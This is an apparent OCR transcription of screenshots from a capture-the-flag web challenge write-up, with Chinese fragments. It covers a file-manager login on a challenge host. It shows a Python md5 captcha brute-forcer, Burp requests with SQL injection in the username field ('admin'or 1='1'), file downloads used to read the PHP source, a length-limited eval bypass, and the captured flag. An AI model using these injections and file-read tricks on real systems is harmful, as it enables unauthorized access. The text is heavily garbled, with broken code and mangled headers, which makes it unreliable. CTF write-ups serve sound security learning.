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Hello, web dog!

Hello, single dog, This is a mini file manager, you can login and download the files and even get the flag.
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Username
Password

< substr(mds(captcha), 0, 6)=aa10f4_—>
Captcha: o

Submit
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import hashlib

def mds{d):

retorn hashlib.mds (d) .hexdigest ()

if md5S({=str(i)) .startswith{(
print i

10£4') :

%for i in range(l, 99993339):
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Raw | Params | Headers | Hex

Target: http:i/106.75.26.211:2222 Lf| l

Raw | Hesders | Hex HTMLTREHdEI]

*0ST faction.phpTaction=login HTTF/1.1 N <div class="form-group"=
{ost: 106.75.26.211:2222 " <label for="examplelnputP assword1">Password</label=<input name="password"
Jser-Agent: Mozilla/S.0 (Windows NT 8.1; WOWE4; nv:56.0) Gecko/20100101 Firefox/58.0 type="password” class="form-control" id="examplelnputP assword 1" /=
sccept: text/htmlappli plicati :9=0.9,"",q=0.8 <fdiv>
\cceptLanguage: zh-CN zh;q= DSenqu 0.5.en:q=0.3 —
‘ceept-Encading: gzip, deflate substr{mdS{capteha), 0, 6352262 2div class="hox"><b>Captcha: </b></div>
sontent-Type: applicati 1 <div class="box" id="temp-captcha-box">
fontent-Length: 58 <idiv=
teferer: hitp://108.75.28.211:2222/action.phpPaction=login <input name="captcha_mds">
iookie: PHPSESSID=spjree9330bieutnhb930eqGh2
ionnection: close =div ¢lass="box submit'><input id="submit" type="submit" name="submit" value="Submit"'=<idiv>
Jpgrade-Insecure-Requests: 1 <iform>
<fdive
isername=admin&password=admi pteha_md3=1 <fdiva
=ldive
</hody>
</html;
.
\J
2l = || = || = | |7vpeseearch tem 0 matches 201 = || = || = | |Typeszearch tem
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st L 48 UERS . fEadminffja N E—/N 515 (admin') , AT LAE SHREEE B . IEM R AMELETE
Ao

POST faction.php?action=login HTTP/1.1 Y <script sre=" bootstrap.min.js"> </seript
Host: 106.75.26.211:2222 o alhead>
User-Agent: Mozillas5.0 (Windows NT 6.1, WOWS4, rnv.56.0) Gecko/20100101 Firefox56.0 <body>
Accept: text’html q=0.9."q=0.8 <div class="container>
AcceptLanguage: zh-CN,zh;q=0.8 en-US:q=0.5,2n:0=0 3 ediv class="row clearfid's
AcceptEncoding: gzip, deflate <div elass="cal-md-12 column">
ContentType: icati f <form role="form" method="post">
Content-Length: G4 =div class="form-group">
Referer: hitp: 10675 26 211:2222/action phpTaction=login H <label fo="examplelnputEmail1"=Username</label><input name="usemame"
Cockie: PF piree0330bieutnhbO30eqib: type="text" class="f tra " id=" plelnputEmailt" />
Connection: close <idiv>
Upgrade-Insecure-Requests: 1 =div class="form-group">
<label for=" lel P assward 1> P deflabelz<input name="password"
<admin ‘&p i toha_ i i type="password" class="form-cantrol" id="examplelnputPassword1" />
<idiv>
o have an error in your SAL syntax; check the manual that corresponds to your MyS QL s&rvar
P sion for the right syrtax to use near 'admin” at line 1
1§
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Go | | cancel | [ <|v || >|* | Target: hitp://106.75.26.211:2222

Request Response
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JST faction.php7action=login HTTR/1.1 i <div class="col-md-12 column'>
ast: 108.75.28.211:2222 P <form rale="farm" method="post'>
serAgent: Mozillals.0 (Windows NT 8.1; WOWS4; nv:56.0) Gecko/20100101 Firefox/S6.0 <div elass="form-group">
scept: text/html applicati icati :q=0.0,7:q=0 8 <label for="examplelnputEmail1">Username </label><input name="usemame"
:ceptLanguage: zh-CN.zh;q=0.8,en-US;q=0.5,en;q=0.3 type="text’ class="f tral” id=" pleinp ail1" =
sceptEncading: gzip, deflate <ldiv>
antent Type: application/x-wwn-farm-urlencaded <div elass="form-group">
antent Length: 73 <label for="examplelnputF assword 1" >Password<flabel><input name="password"
sferer: hitp://108.75.26.211:2222/action.php7action=lagin [| type="password" class="farm-contiol" id="examplelnputP assword1" />
aokie: Pt jree0330bieutnhbO30e Bh: <ldiv>
annection: close
agrade-Insecure-Requests: 1 asgy Come admin 'or'
= 2198 <div
emame=admin'ar 1="12 dmin&eapteha_mdS=62028: i it class="box"><h>Capteha: </b=</div>
<div class="box" id="temp-captcha-box">
<ddive
<input name="captcha_mds">
;’ <div class="box submit'><input id="submit' type="submit' name="submit’ value="Submit'></div>
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# (- (D) 106.75.26.211:2222/action.php?a B oo 0§

1. hello b
2 st
(‘b'f'a_php '““)

NN R A, HA7a.php R 15 2

writeup. pyed E a. phpml

1 <?php
echo "Do what vou want to do, web dog, flag i= in the web root dir™;
?¥
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T faction.phpTaction=file HTTF/1.1 : <fheads
st 106.75.26.211:2222 & <hody=
erfgent: Mozillais.0 (\Nlndows NT &.1; WOWES; n58.0) Gecko/20100101 Firefox/58.0 <div clags="container>
cept: textihtml,appli mlapplicati l;q=0.8"7"g=0.8 <div class="row clearfix">
ceptLanguage: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 <div class="col-md-12 column"=
ceptEncoding: gzip, deflate <ol
ferer: http://108.75.28.211:2222/action.phpTaction=login <liz o
ckie: PHPSESS|D=spjree0330bieutnhb030e qBb2 <a href" Hitedownload.phpP=hello bl Shellg tet </a>
nnection: close I =ili= /
grade-Insecure-Requests: 1 <Ii3/ \\
che-Contral: maxage=0 f <a href="ffilefdownload. php?=s bt s tut <fa> \
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aliz™, ///

<a Mejf_\'_';ﬂile.rdownload.php‘?’=a.php">a.ph¥!jy’
=ili= — —
efal>
<idiv=
<fdivz
v
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1. hello.txt
2. s - | )
3. a.php IETEHTH _var_www_html_flag.php &
ERETII -

| var_www_html_flag.php

IR . Text Document (263 =13)
=R : http://106.75.26.211:2222

EFEEE Firefox INfEIRHEIHNI4 2
© 137 ERO) |iEEE G0 -
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| wrltenp. p}'\’ﬂl E a phptd E _war_www_html_flaz. phpEd

1 [Hl<?php -
2 $f = §_BOST['flag'l;: O
= §f = str_;_éfmeﬁr_r_ir["', U0, 000 030 O0g0 . O%@0. 000, 00 040, 0R0 0.0, 0sx09  00_ [&&E)g
4 if((strlen(S$f) > 13) || (false !== stripos(5f, 'return')))
5 [
6 die (" WO W W W W WwWW ' ) 2
"ln‘ -
8 try
g [=4
10 eval ("\ $spaceone = S5f");
11 1
1z catoch (Exception Se)
13 [=Ht
14 return false:
pL=) 1 - o
16 I:—:Iifcfi_s:p—_ageune === 'f;ag'JC::)
17 echo file get contents("helloctf.php"):
18 -}
19
20 =7
21
22
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i | €= | () 106.75.26.211:2222/flag.php oo @ Q;

NT v| = & SQL- XSS+ Encryption- Encoding- Otherr
§ LoadURL  https//106.75.26.211:2222 flag.php

4+ B8 @

| split URL
Execute
Enable Post data || Enable Referrer
ost data {:ﬂﬁﬁzﬂag?_"'j:

e 2 ), DU 2 AR « IR BEHT IS ES, SRR T flag

(i) view-source:http://106.75.26.211:2222, c @ Q =z

T T| = & SQL- XSS- Encryption- Encoding- Otherr
| Load URL

split URL

Execute

Enable Post data | | Enable Referrer
st data
< Pphp

22

$flag="flag {d6eb81al-9859-aadf-8af4—-a%adB8chb3e2le} "
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